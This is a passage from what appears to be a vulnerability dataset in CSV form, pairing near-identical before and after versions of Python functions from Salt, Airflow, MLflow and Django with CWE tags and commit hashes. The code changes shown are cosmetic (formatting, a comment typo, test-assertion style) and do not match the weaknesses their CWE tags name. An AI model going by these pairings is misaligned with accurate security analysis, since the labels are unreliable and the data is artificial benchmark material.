'parameter. Skipping.'.format(item)
)
continue
log.trace('dockerng.running: comparing ' + item)
conf_path = valid_opts[item]['path']
if isinstance(conf_path, tuple):
actual_data = [_get(x) for x in conf_path]
for val in actual_data:
if val is NOTSET:
_api_mismatch(item)
else:
actual_data = _get(conf_path)
if actual_data is NOTSET:
_api_mismatch(item)
log.trace('dockerng.running ({0}): desired value: {1}'
.format(item, data))
log.trace('dockerng.running ({0}): actual value: {1}'
.format(item, actual_data))
if actual_data is None and data is not None \
or actual_data is not None and data is None:
ret.update({item: {'old': actual_data, 'new': data}})
continue
# 'create' comparison params
if item == 'detach':
# Something unique here. Two fields to check, if both are False
# then detach is True
actual_detach = all(x is False for x in actual_data)
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_detach))
if actual_detach != data:
ret.update({item: {'old': actual_detach, 'new': data}})
continue
elif item == 'environment':
actual_env = {}
for env_var in actual_data:
try:
key, val = env_var.split('=', 1)
except (AttributeError, ValueError):
log.warning(
'Unexpected environment variable in inspect '
'output {0}'.format(env_var)
)
continue
else:
actual_env[key] = val
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_env))
env_diff = {}
for key in data:
actual_val = actual_env.get(key)
if data[key] != actual_val:
env_ptr = env_diff.setdefault(item, {})
env_ptr.setdefault('old', {})[key] = actual_val
env_ptr.setdefault('new', {})[key] = data[key]
if env_diff:
ret.update(env_diff)
continue
elif item == 'ports':
# Munge the desired configuration instead of the actual
# configuration here, because the desired configuration is a
# list of ints or tuples, and that won't look as good in the
# nested outputter as a simple comparison of lists of
# port/protocol pairs (as found in the ""actual"" dict).
actual_ports = sorted(actual_data)
desired_ports = []
for port_def in data:
if isinstance(port_def, tuple):
desired_ports.append('{0}/{1}'.format(*port_def))
else:
desired_ports.append('{0}/tcp'.format(port_def))
desired_ports.sort()
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_ports))
log.trace('dockerng.running ({0}): munged desired value: {1}'
.format(item, desired_ports))
if actual_ports != desired_ports:
ret.update({item: {'old': actual_ports,
'new': desired_ports}})
continue
# 'runtime' comparison params
elif item == 'binds':
actual_binds = []
for bind in actual_data:
bind_parts = bind.split(':')
if len(bind_parts) == 2:
actual_binds.append(bind + ':rw')
else:
actual_binds.append(bind)
desired_binds = []
for host_path, bind_data in six.iteritems(data):
desired_binds.append(
'{0}:{1}:{2}'.format(
host_path,
bind_data['bind'],
'ro' if bind_data['ro'] else 'rw'
)
)
actual_binds.sort()
desired_binds.sort()
if actual_binds != desired_binds:
ret.update({item: {'old': actual_binds,
'new': desired_binds}})
continue
elif item == 'port_bindings':
actual_binds = []
for container_port, bind_list in six.iteritems(actual_data):
if container_port.endswith('/tcp'):
container_port = container_port[:-4]
for bind_data in bind_list:
# Port range will have to be updated for future Docker
# versions (see
# https://github.com/docker/docker/issues/10220). Note
# that Docker 1.5.0 (released a few weeks after the fix
# was merged) does not appear to have this fix in it,
# so we're probably looking at 1.6.0 for this fix.
if bind_data['HostPort'] == '' or \
49153 <= int(bind_data['HostPort']) <= 65535:
host_port = ''
else:
host_port = bind_data['HostPort']
if bind_data['HostIp'] in ('0.0.0.0', ''):
if host_port:
bind_def = (host_port, container_port)
else:
bind_def = (container_port,)
else:
bind_def = (bind_data['HostIp'],
host_port,
container_port)
actual_binds.append(':'.join(bind_def))
desired_binds = []
for container_port, bind_list in six.iteritems(data):
try:
if container_port.endswith('/tcp'):
container_port = container_port[:-4]
except AttributeError:
# The port's protocol was not specified, so it is
# assumed to be TCP. Thus, according to docker-py usage
# examples, the port was passed as an int. Convert it
# to a string here.
container_port = str(container_port)
for bind_data in bind_list:
if isinstance(bind_data, tuple):
try:
host_ip, host_port = bind_data
host_port = str(host_port)
except ValueError:
host_ip = bind_data[0]
host_port = ''
bind_def = '{0}:{1}:{2}'.format(
host_ip, host_port, container_port
)
else:
if bind_data is not None:
bind_def = '{0}:{1}'.format(
bind_data, container_port
)
else:
bind_def = container_port
desired_binds.append(bind_def)
actual_binds.sort()
desired_binds.sort()
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_binds))
log.trace('dockerng.running ({0}): munged desired value: {1}'
.format(item, desired_binds))
if actual_binds != desired_binds:
ret.update({item: {'old': actual_binds,
'new': desired_binds}})
continue
elif item == 'links':
actual_links = []
for link in actual_data:
try:
link_name, alias_info = link.split(':')
except ValueError:
log.error(
'Failed to compare link {0}, unrecognized format'
.format(link)
)
continue
container_name, _, link_alias = alias_info.rpartition('/')
if not container_name:
log.error(
'Failed to interpret link alias from {0}, '
'unrecognized format'.format(alias_info)
)
continue
actual_links.append((link_name, link_alias))
actual_links.sort()
desired_links = sorted(data)
if actual_links != desired_links:
ret.update({item: {'old': actual_links,
'new': desired_links}})
continue
elif item == 'extra_hosts':
actual_hosts = sorted(actual_data)
desired_hosts = sorted(
['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
)
if actual_hosts != desired_hosts:
ret.update({item: {'old': actual_hosts,
'new': desired_hosts}})
continue
elif isinstance(data, list):
# Compare two sorted lists of items. Won't work for ""command""
# or ""entrypoint"" because those are both shell commands and the
# original order matters. It will, however, work for ""volumes""
# because even though ""volumes"" is a sub-dict nested within the
# ""actual"" dict sorted(somedict) still just gives you a sorted
# list of the dictionary's keys. And we don't care about the
# value for ""volumes"", just its keys.
actual_data = sorted(actual_data)
desired_data = sorted(data)
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_data))
log.trace('dockerng.running ({0}): munged desired value: {1}'
.format(item, desired_data))
if actual_data != desired_data:
ret.update({item: {'old': actual_data,
'new': desired_data}})
continue
else:
# Generic comparison, works on strings, numeric types, and
# booleans
if actual_data != data:
ret.update({item: {'old': actual_data, 'new': data}})
return ret",CWE-605,saltstack/salt,6d8e9af2976d8aa895008a7676c3562a0291a829,"def _compare(actual, create_kwargs, runtime_kwargs):
'''
Compare the desired configuration against the actual configuration returned
by dockerng.inspect_container
'''
_get = lambda path: (
salt.utils.traverse_dict(actual, path, NOTSET, delimiter=':')
)
ret = {}
for desired, valid_opts in ((create_kwargs, VALID_CREATE_OPTS),
(runtime_kwargs, VALID_RUNTIME_OPTS)):
for item, data, in six.iteritems(desired):
if item not in valid_opts:
log.error(
'Trying to compare \'{0}\', but it is not a valid '
'parameter. Skipping.'.format(item)
)
continue
log.trace('dockerng.running: comparing ' + item)
conf_path = valid_opts[item]['path']
if isinstance(conf_path, tuple):
actual_data = [_get(x) for x in conf_path]
for val in actual_data:
if val is NOTSET:
_api_mismatch(item)
else:
actual_data = _get(conf_path)
if actual_data is NOTSET:
_api_mismatch(item)
log.trace('dockerng.running ({0}): desired value: {1}'
.format(item, data))
log.trace('dockerng.running ({0}): actual value: {1}'
.format(item, actual_data))
if actual_data is None and data is not None \
or actual_data is not None and data is None:
ret.update({item: {'old': actual_data, 'new': data}})
continue
# 'create' comparison params
if item == 'detach':
# Something unique here. Two fields to check, if both are False
# then detach is True
actual_detach = all(x is False for x in actual_data)
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_detach))
if actual_detach != data:
ret.update({item: {'old': actual_detach, 'new': data}})
continue
elif item == 'environment':
actual_env = {}
for env_var in actual_data:
try:
key, val = env_var.split('=', 1)
except (AttributeError, ValueError):
log.warning(
'Unexpected environment variable in inspect '
'output {0}'.format(env_var)
)
continue
else:
actual_env[key] = val
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_env))
env_diff = {}
for key in data:
actual_val = actual_env.get(key)
if data[key] != actual_val:
env_ptr = env_diff.setdefault(item, {})
env_ptr.setdefault('old', {})[key] = actual_val
env_ptr.setdefault('new', {})[key] = data[key]
if env_diff:
ret.update(env_diff)
continue
elif item == 'ports':
# Munge the desired configuration instead of the actual
# configuration here, because the desired configuration is a
# list of ints or tuples, and that won't look as good in the
# nested outputter as a simple comparison of lists of
# port/protocol pairs (as found in the ""actual"" dict).
actual_ports = sorted(actual_data)
desired_ports = []
for port_def in data:
if isinstance(port_def, tuple):
desired_ports.append('{0}/{1}'.format(*port_def))
else:
desired_ports.append('{0}/tcp'.format(port_def))
desired_ports.sort()
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_ports))
log.trace('dockerng.running ({0}): munged desired value: {1}'
.format(item, desired_ports))
if actual_ports != desired_ports:
ret.update({item: {'old': actual_ports,
'new': desired_ports}})
continue
# 'runtime' comparison params
elif item == 'binds':
actual_binds = []
for bind in actual_data:
bind_parts = bind.split(':')
if len(bind_parts) == 2:
actual_binds.append(bind + ':rw')
else:
actual_binds.append(bind)
desired_binds = []
for host_path, bind_data in six.iteritems(data):
desired_binds.append(
'{0}:{1}:{2}'.format(
host_path,
bind_data['bind'],
'ro' if bind_data['ro'] else 'rw'
)
)
actual_binds.sort()
desired_binds.sort()
if actual_binds != desired_binds:
ret.update({item: {'old': actual_binds,
'new': desired_binds}})
continue
elif item == 'port_bindings':
actual_binds = []
for container_port, bind_list in six.iteritems(actual_data):
if container_port.endswith('/tcp'):
container_port = container_port[:-4]
for bind_data in bind_list:
# Port range will have to be updated for future Docker
# versions (see
# https://github.com/docker/docker/issues/10220). Note
# that Docker 1.5.0 (released a few weeks after the fix
# was merged) does not appear to have this fix in it,
# so we're probably looking at 1.6.0 for this fix.
if bind_data['HostPort'] == '' or \
49153 <= int(bind_data['HostPort']) <= 65535:
host_port = ''
else:
host_port = bind_data['HostPort']
if bind_data['HostIp'] in ('0.0.0.0', ''):
if host_port:
bind_def = (host_port, container_port)
else:
bind_def = (container_port,)
else:
bind_def = (bind_data['HostIp'],
host_port,
container_port)
actual_binds.append(':'.join(bind_def))
desired_binds = []
for container_port, bind_list in six.iteritems(data):
try:
if container_port.endswith('/tcp'):
container_port = container_port[:-4]
except AttributeError:
# The port's protocol was not specified, so it is
# assumed to be TCP. Thus, according to docker-py usage
# examples, the port was passed as an int. Convert it
# to a string here.
container_port = str(container_port)
for bind_data in bind_list:
if isinstance(bind_data, tuple):
try:
host_ip, host_port = bind_data
host_port = str(host_port)
except ValueError:
host_ip = bind_data[0]
host_port = ''
bind_def = '{0}:{1}:{2}'.format(
host_ip, host_port, container_port
)
else:
if bind_data is not None:
bind_def = '{0}:{1}'.format(
bind_data, container_port
)
else:
bind_def = container_port
desired_binds.append(bind_def)
actual_binds.sort()
desired_binds.sort()
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_binds))
log.trace('dockerng.running ({0}): munged desired value: {1}'
.format(item, desired_binds))
if actual_binds != desired_binds:
ret.update({item: {'old': actual_binds,
'new': desired_binds}})
continue
elif item == 'links':
actual_links = []
for link in actual_data:
try:
link_name, alias_info = link.split(':')
except ValueError:
log.error(
'Failed to compare link {0}, unrecognized format'
.format(link)
)
continue
container_name, _, link_alias = alias_info.rpartition('/')
if not container_name:
log.error(
'Failed to interpret link alias from {0}, '
'unrecognized format'.format(alias_info)
)
continue
actual_links.append((link_name, link_alias))
actual_links.sort()
desired_links = sorted(data)
if actual_links != desired_links:
ret.update({item: {'old': actual_links,
'new': desired_links}})
continue
elif item == 'extra_hosts':
actual_hosts = sorted(actual_data)
desired_hosts = sorted(
['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
)
if actual_hosts != desired_hosts:
ret.update({item: {'old': actual_hosts,
'new': desired_hosts}})
continue
elif isinstance(data, list):
# Compare two sorted lists of items. Won't work for ""cmd"" or
# ""entrypoint"" because those are both shell commands and the
# original order matters. It will, however, work for ""volumes""
# because even though ""volumes"" is a sub-dict nested within the
# ""actual"" dict sorted(somedict) still just gives you a sorted
# list of the dictionary's keys. And we don't care about the
# value for ""volumes"", just its keys.
actual_data = sorted(actual_data)
desired_data = sorted(data)
log.trace('dockerng.running ({0}): munged actual value: {1}'
.format(item, actual_data))
log.trace('dockerng.running ({0}): munged desired value: {1}'
.format(item, desired_data))
if actual_data != desired_data:
ret.update({item: {'old': actual_data,
'new': desired_data}})
continue
else:
# Generic comparison, works on strings, numeric types, and
# booleans
if actual_data != data:
ret.update({item: {'old': actual_data, 'new': data}})
return ret"
,UNKNOWN,UNKNOWN,airflow/models.py,1,"def process_file(self, filepath, only_if_updated=True, safe_mode=True):
""""""
Given a path to a python module or zip file, this method imports
the module and look for dag objects within it.
""""""
found_dags = []
# todo: raise exception?
if not os.path.isfile(filepath):
return found_dags
try:
# This failed before in what may have been a git sync
# race condition
file_last_changed_on_disk = datetime.fromtimestamp(os.path.getmtime(filepath))
if only_if_updated \
and filepath in self.file_last_changed \
and file_last_changed_on_disk == self.file_last_changed[filepath]:
return found_dags
except Exception as e:
logging.exception(e)
return found_dags
mods = []
if not zipfile.is_zipfile(filepath):
if safe_mode and os.path.isfile(filepath):
with open(filepath, 'rb') as f:
content = f.read()
if not all([s in content for s in (b'DAG', b'airflow')]):
return found_dags
self.logger.debug(""Importing {}"".format(filepath))
org_mod_name, _ = os.path.splitext(os.path.split(filepath)[-1])
mod_name = ('unusual_prefix_' +
hashlib.sha1(filepath.encode('utf-8')).hexdigest() +
'_' + org_mod_name)
if mod_name in sys.modules:
del sys.modules[mod_name]
with timeout(configuration.getint('core', ""DAGBAG_IMPORT_TIMEOUT"")):
try:
m = imp.load_source(mod_name, filepath)
mods.append(m)
except Exception as e:
self.logger.exception(""Failed to import: "" + filepath)
self.import_errors[filepath] = str(e)
self.file_last_changed[filepath] = file_last_changed_on_disk
else:
zip_file = zipfile.ZipFile(filepath)
for mod in zip_file.infolist():
head, _ = os.path.split(mod.filename)
mod_name, ext = os.path.splitext(mod.filename)
if not head and (ext == '.py' or ext == '.pyc'):
if mod_name == '__init__':
self.logger.warning(""Found __init__.{0} at root of {1}"".
format(ext, filepath))
if safe_mode:
with zip_file.open(mod.filename) as zf:
self.logger.debug(""Reading {} from {}"".
format(mod.filename, filepath))
content = zf.read()
if not all([s in content for s in (b'DAG', b'airflow')]):
# todo: create ignore list
return found_dags
if mod_name in sys.modules:
del sys.modules[mod_name]
try:
sys.path.insert(0, filepath)
m = importlib.import_module(mod_name)
mods.append(m)
except Exception as e:
self.logger.exception(""Failed to import: "" + filepath)
self.import_errors[filepath] = str(e)
self.file_last_changed[filepath] = file_last_changed_on_disk
for m in mods:
for dag in list(m.__dict__.values()):
if isinstance(dag, DAG):
if not dag.full_filepath:
dag.full_filepath = filepath
dag.is_subdag = False
dag.module_name = m.__name__
self.bag_dag(dag, parent_dag=dag, root_dag=dag)
found_dags.append(dag)
found_dags += dag.subdags
self.file_last_changed[filepath] = file_last_changed_on_disk
return found_dags",CWE-327,apache/airflow,b56cb5cc97de074bb0e520f66b79e7eb2d913fb1,"def process_file(self, filepath, only_if_updated=True, safe_mode=True):
""""""
Given a path to a python module or zip file, this method imports
the module and look for dag objects within it.
""""""
found_dags = []
# todo: raise exception?
if not os.path.isfile(filepath):
return found_dags
try:
# This failed before in what may have been a git sync
# race condition
file_last_changed_on_disk = datetime.fromtimestamp(os.path.getmtime(filepath))
if only_if_updated \
and filepath in self.file_last_changed \
and file_last_changed_on_disk == self.file_last_changed[filepath]:
return found_dags
except Exception as e:
logging.exception(e)
return found_dags
mods = []
if not zipfile.is_zipfile(filepath):
if safe_mode and os.path.isfile(filepath):
with open(filepath, 'rb') as f:
content = f.read()
if not all([s in content for s in (b'DAG', b'airflow')]):
return found_dags
self.logger.debug(""Importing {}"".format(filepath))
org_mod_name, _ = os.path.splitext(os.path.split(filepath)[-1])
mod_name = ('unusual_prefix_'
+ hashlib.sha1(filepath.encode('utf-8')).hexdigest()
+ '_' + org_mod_name)
if mod_name in sys.modules:
del sys.modules[mod_name]
with timeout(configuration.getint('core', ""DAGBAG_IMPORT_TIMEOUT"")):
try:
m = imp.load_source(mod_name, filepath)
mods.append(m)
except Exception as e:
self.logger.exception(""Failed to import: "" + filepath)
self.import_errors[filepath] = str(e)
self.file_last_changed[filepath] = file_last_changed_on_disk
else:
zip_file = zipfile.ZipFile(filepath)
for mod in zip_file.infolist():
head, _ = os.path.split(mod.filename)
mod_name, ext = os.path.splitext(mod.filename)
if not head and (ext == '.py' or ext == '.pyc'):
if mod_name == '__init__':
self.logger.warning(""Found __init__.{0} at root of {1}"".
format(ext, filepath))
if safe_mode:
with zip_file.open(mod.filename) as zf:
self.logger.debug(""Reading {} from {}"".
format(mod.filename, filepath))
content = zf.read()
if not all([s in content for s in (b'DAG', b'airflow')]):
# todo: create ignore list
return found_dags
if mod_name in sys.modules:
del sys.modules[mod_name]
try:
sys.path.insert(0, filepath)
m = importlib.import_module(mod_name)
mods.append(m)
except Exception as e:
self.logger.exception(""Failed to import: "" + filepath)
self.import_errors[filepath] = str(e)
self.file_last_changed[filepath] = file_last_changed_on_disk
for m in mods:
for dag in list(m.__dict__.values()):
if isinstance(dag, DAG):
if not dag.full_filepath:
dag.full_filepath = filepath
dag.is_subdag = False
dag.module_name = m.__name__
self.bag_dag(dag, parent_dag=dag, root_dag=dag)
found_dags.append(dag)
found_dags += dag.subdags
self.file_last_changed[filepath] = file_last_changed_on_disk
return found_dags"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/hooks/test_bigquery.py,1,"def test_get_tables_list(self, mock_client):
table_list = [
{
""kind"": ""bigquery#table"",
""id"": ""your-project:your_dataset.table1"",
""tableReference"": {
""projectId"": ""your-project"",
""datasetId"": ""your_dataset"",
""tableId"": ""table1""
},
""type"": ""TABLE"",
""creationTime"": ""1565781859261""
},
{
""kind"": ""bigquery#table"",
""id"": ""your-project:your_dataset.table2"",
""tableReference"": {
""projectId"": ""your-project"",
""datasetId"": ""your_dataset"",
""tableId"": ""table2""
},
""type"": ""TABLE"",
""creationTime"": ""1565782713480""
}
]
table_list_response = [Table.from_api_repr(t) for t in table_list]
mock_client.return_value.list_tables.return_value = table_list_response
dataset_reference = DatasetReference(PROJECT_ID, DATASET_ID)
result = self.hook.get_dataset_tables(dataset_id=DATASET_ID, project_id=PROJECT_ID)
mock_client.return_value.list_tables.assert_called_once_with(
dataset=dataset_reference,
max_results=None,
retry=DEFAULT_RETRY,
)
for res, exp in zip(result, table_list):
assert res[""tableId""] == exp[""tableReference""][""tableId""]",CWE-703,apache/airflow,3994030ea678727daaf9c2bfed0ca94a096f8d2a,"def test_get_tables_list(self, mock_client):
table_list = [
{
""kind"": ""bigquery#table"",
""id"": ""your-project:your_dataset.table1"",
""tableReference"": {
""projectId"": ""your-project"",
""datasetId"": ""your_dataset"",
""tableId"": ""table1""
},
""type"": ""TABLE"",
""creationTime"": ""1565781859261""
},
{
""kind"": ""bigquery#table"",
""id"": ""your-project:your_dataset.table2"",
""tableReference"": {
""projectId"": ""your-project"",
""datasetId"": ""your_dataset"",
""tableId"": ""table2""
},
""type"": ""TABLE"",
""creationTime"": ""1565782713480""
}
]
table_list_response = [Table.from_api_repr(t) for t in table_list]
mock_client.return_value.list_tables.return_value = table_list_response
dataset_reference = DatasetReference(PROJECT_ID, DATASET_ID)
result = self.hook.get_dataset_tables(dataset_id=DATASET_ID, project_id=PROJECT_ID)
mock_client.return_value.list_tables.assert_called_once_with(
dataset=dataset_reference,
max_results=None,
page_token=None,
retry=DEFAULT_RETRY,
)
for res, exp in zip(result, table_list):
assert res[""tableId""] == exp[""tableReference""][""tableId""]"
,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,1,"def test_create_registered_model(self):
name = random_str() + ""abCD""
rm1 = self._rm_maker(name)
self.assertEqual(rm1.name, name)
self.assertEqual(rm1.description, None)
# error on duplicate
with pytest.raises(
MlflowException, match=rf""Registered Model \(name={name}\) already exists""
) as exception_context:
self._rm_maker(name)
assert exception_context.value.error_code == ErrorCode.Name(RESOURCE_ALREADY_EXISTS)
# slightly different name is ok
for name2 in [name + ""extra"", name + name]:
rm2 = self._rm_maker(name2)
self.assertEqual(rm2.name, name2)
# test create model with tags
name2 = random_str() + ""tags""
tags = [
RegisteredModelTag(""key"", ""value""),
RegisteredModelTag(""anotherKey"", ""some other value""),
]
rm2 = self._rm_maker(name2, tags)
rmd2 = self.store.get_registered_model(name2)
self.assertEqual(rm2.name, name2)
self.assertEqual(rm2.tags, {tag.key: tag.value for tag in tags})
self.assertEqual(rmd2.name, name2)
self.assertEqual(rmd2.tags, {tag.key: tag.value for tag in tags})
# create with description
name3 = random_str() + ""-description""
description = ""the best model ever""
rm3 = self._rm_maker(name3, description=description)
rmd3 = self.store.get_registered_model(name3)
self.assertEqual(rm3.name, name3)
self.assertEqual(rm3.description, description)
self.assertEqual(rmd3.name, name3)
self.assertEqual(rmd3.description, description)
# invalid model name will fail
with pytest.raises(
MlflowException, match=r""Registered model name cannot be empty""
) as exception_context:
self._rm_maker(None)
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
with pytest.raises(
MlflowException, match=r""Registered model name cannot be empty""
) as exception_context:
self._rm_maker("""")
assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)",CWE-703,mlflow/mlflow,095833b5cfd8207ae58a587c8c565d10e99934bd,"def test_create_registered_model(self):
name = random_str() + ""abCD""
rm1 = self._rm_maker(name)
self.assertEqual(rm1.name, name)
self.assertEqual(rm1.description, None)
# error on duplicate
with self.assertRaisesRegex(
MlflowException, rf""Registered Model \(name={name}\) already exists""
) as exception_context:
self._rm_maker(name)
assert exception_context.exception.error_code == ErrorCode.Name(RESOURCE_ALREADY_EXISTS)
# slightly different name is ok
for name2 in [name + ""extra"", name + name]:
rm2 = self._rm_maker(name2)
self.assertEqual(rm2.name, name2)
# test create model with tags
name2 = random_str() + ""tags""
tags = [
RegisteredModelTag(""key"", ""value""),
RegisteredModelTag(""anotherKey"", ""some other value""),
]
rm2 = self._rm_maker(name2, tags)
rmd2 = self.store.get_registered_model(name2)
self.assertEqual(rm2.name, name2)
self.assertEqual(rm2.tags, {tag.key: tag.value for tag in tags})
self.assertEqual(rmd2.name, name2)
self.assertEqual(rmd2.tags, {tag.key: tag.value for tag in tags})
# create with description
name3 = random_str() + ""-description""
description = ""the best model ever""
rm3 = self._rm_maker(name3, description=description)
rmd3 = self.store.get_registered_model(name3)
self.assertEqual(rm3.name, name3)
self.assertEqual(rm3.description, description)
self.assertEqual(rmd3.name, name3)
self.assertEqual(rmd3.description, description)
# invalid model name will fail
with self.assertRaisesRegex(
MlflowException, r""Registered model name cannot be empty""
) as exception_context:
self._rm_maker(None)
assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
with self.assertRaisesRegex(
MlflowException, r""Registered model name cannot be empty""
) as exception_context:
self._rm_maker("""")
assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)"
,UNKNOWN,UNKNOWN,providers/google/src/airflow/providers/google/cloud/hooks/mlengine.py,1,"def _poll_with_exponential_delay(
request, execute_num_retries, max_n, is_done_func, is_error_func
) -> Response:
""""""
Execute request with exponential delay.
This method is intended to handle and retry in case of api-specific errors,
such as 429 ""Too Many Requests"", unlike the `request.execute` which handles
lower level errors like `ConnectionError`/`socket.timeout`/`ssl.SSLError`.
:param request: request to be executed.
:param execute_num_retries: num_retries for `request.execute` method.
:param max_n: number of times to retry request in this method.
:param is_done_func: callable to determine if operation is done.
:param is_error_func: callable to determine if operation is failed.
:return: response
""""""
for i in range(0, max_n):
try:
response = request.execute(num_retries=execute_num_retries)
if is_error_func(response):
raise ValueError(f""The response contained an error: {response}"")
if is_done_func(response):
log.info(""Operation is done: %s"", response)
return response
time.sleep((2**i) + random.random())
except HttpError as e:
if e.resp.status != 429:
log.info(""Something went wrong. Not retrying: %s"", format(e))
raise
time.sleep((2**i) + random.random())
raise ValueError(f""Connection could not be established after {max_n} retries."")",CWE-330,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def _poll_with_exponential_delay(
request, execute_num_retries, max_n, is_done_func, is_error_func
) -> Response:
""""""
Execute request with exponential delay.
This method is intended to handle and retry in case of api-specific errors,
such as 429 ""Too Many Requests"", unlike the `request.execute` which handles
lower level errors like `ConnectionError`/`socket.timeout`/`ssl.SSLError`.
:param request: request to be executed.
:param execute_num_retries: num_retries for `request.execute` method.
:param max_n: number of times to retry request in this method.
:param is_done_func: callable to determine if operation is done.
:param is_error_func: callable to determine if operation is failed.
:return: response
""""""
for i in range(0, max_n):
try:
response = request.execute(num_retries=execute_num_retries)
if is_error_func(response):
raise ValueError(f""The response contained an error: {response}"")
if is_done_func(response):
log.info(""Operation is done: %s"", response)
return response
time.sleep((2**i) + random.random())
except HttpError as e:
if e.resp.status != 429:
log.info(""Something went wrong. Not retrying: %s"", format(e))
raise
else:
time.sleep((2**i) + random.random())
raise ValueError(f""Connection could not be established after {max_n} retries."")"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_import_error_endpoint.py,1,"def test_response_200(self, session):
import_error = ParseImportError(
filename=""Lorem_ipsum.py"",
stacktrace=""Lorem ipsum"",
timestamp=timezone.parse(self.timestamp, timezone=""UTC""),
)
session.add(import_error)
session.commit()
response = self.client.get(
f""/api/v1/importErrors/{import_error.id}"", environ_overrides={""REMOTE_USER"": ""test""}
)
assert response.status_code == 200
response_data = response.json
response_data[""import_error_id""] = 1
assert response_data == {
""filename"": ""Lorem_ipsum.py"",
""import_error_id"": 1,
""stack_trace"": ""Lorem ipsum"",
""timestamp"": ""2020-06-10T12:00:00+00:00"",
}",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_response_200(self, session):
import_error = ParseImportError(
filename=""Lorem_ipsum.py"",
stacktrace=""Lorem ipsum"",
timestamp=timezone.parse(self.timestamp, timezone=""UTC""),
)
session.add(import_error)
session.commit()
response = self.client.get(
f""/api/v1/importErrors/{import_error.id}"", environ_overrides={""REMOTE_USER"": ""test""}
)
assert response.status_code == 200
response_data = response.json
response_data[""import_error_id""] = 1
assert {
""filename"": ""Lorem_ipsum.py"",
""import_error_id"": 1,
""stack_trace"": ""Lorem ipsum"",
""timestamp"": ""2020-06-10T12:00:00+00:00"",
} == response_data"
,UNKNOWN,UNKNOWN,django/contrib/formtools/wizard/views.py,1,"def get_initkwargs(cls, form_list, initial_dict=None,
instance_dict=None, condition_dict=None, *args, **kwargs):
""""""
Creates a dict with all needed parameters for the form wizard instances.
* `form_list` - is a list of forms. The list entries can be single form
classes or tuples of (`step_name`, `form_class`). If you pass a list
of forms, the formwizard will convert the class list to
(`zero_based_counter`, `form_class`). This is needed to access the
form for a specific step.
* `initial_dict` - contains a dictionary of initial data dictionaries.
The key should be equal to the `step_name` in the `form_list` (or
the str of the zero based counter - if no step_names added in the
`form_list`)
* `instance_dict` - contains a dictionary of instance objects. This list
is only used when `ModelForm`s are used. The key should be equal to
the `step_name` in the `form_list`. Same rules as for `initial_dict`
apply.
* `condition_dict` - contains a dictionary of boolean values or
callables. If the value of for a specific `step_name` is callable it
will be called with the formwizard instance as the only argument.
If the return value is true, the step's form will be used.
""""""
kwargs.update({
'initial_dict': initial_dict or {},
'instance_dict': instance_dict or {},
'condition_dict': condition_dict or {},
})
init_form_list = SortedDict()
assert len(form_list) > 0, 'at least one form is needed'
# walk through the passed form list
for i, form in enumerate(form_list):
if isinstance(form, (list, tuple)):
# if the element is a tuple, add the tuple to the new created
# sorted dictionary.
init_form_list[unicode(form[0])] = form[1]
else:
# if not, add the form with a zero based counter as unicode
init_form_list[unicode(i)] = form
# walk through the new created list of forms
for form in init_form_list.itervalues():
if issubclass(form, formsets.BaseFormSet):
# if the element is based on BaseFormSet (FormSet/ModelFormSet)
# we need to override the form variable.
form = form.form
# check if any form contains a FileField, if yes, we need a
# file_storage added to the formwizard (by subclassing).
for field in form.base_fields.itervalues():
if (isinstance(field, forms.FileField) and
not hasattr(cls, 'file_storage')):
raise NoFileStorageConfigured
# build the kwargs for the formwizard instances
kwargs['form_list'] = init_form_list
return kwargs",CWE-703,django/django,bce890ace4a97ab7a7a9b918f1452c6592d9b08e,"def get_initkwargs(cls, form_list, initial_dict=None,
instance_dict=None, condition_dict=None, *args, **kwargs):
""""""
Creates a dict with all needed parameters for the form wizard instances.
* `form_list` - is a list of forms. The list entries can be single form
classes or tuples of (`step_name`, `form_class`). If you pass a list
of forms, the formwizard will convert the class list to
(`zero_based_counter`, `form_class`). This is needed to access the
form for a specific step.
* `initial_dict` - contains a dictionary of initial data dictionaries.
The key should be equal to the `step_name` in the `form_list` (or
the str of the zero based counter - if no step_names added in the
`form_list`)
* `instance_dict` - contains a dictionary of instance objects. This list
is only used when `ModelForm`s are used. The key should be equal to
the `step_name` in the `form_list`. Same rules as for `initial_dict`
apply.
* `condition_dict` - contains a dictionary of boolean values or
callables. If the value of for a specific `step_name` is callable it
will be called with the formwizard instance as the only argument.
If the return value is true, the step's form will be used.
""""""
kwargs.update({
'initial_dict': initial_dict or {},
'instance_dict': instance_dict or {},
'condition_dict': condition_dict or {},
})
init_form_list = SortedDict()
assert len(form_list) > 0, 'at least one form is needed'
# walk through the passed form list
for i, form in enumerate(form_list):
if isinstance(form, (list, tuple)):
# if the element is a tuple, add the tuple to the new created
# sorted dictionary.
init_form_list[unicode(form[0])] = form[1]
else:
# if not, add the form with a zero based counter as unicode
init_form_list[unicode(i)] = form
# walk through the ne created list of forms
for form in init_form_list.itervalues():
if issubclass(form, formsets.BaseFormSet):
# if the element is based on BaseFormSet (FormSet/ModelFormSet)
# we need to override the form variable.
form = form.form
# check if any form contains a FileField, if yes, we need a
# file_storage added to the formwizard (by subclassing).
for field in form.base_fields.itervalues():
if (isinstance(field, forms.FileField) and
not hasattr(cls, 'file_storage')):
raise NoFileStorageConfigured
# build the kwargs for the formwizard instances
kwargs['form_list'] = init_form_list
return kwargs"
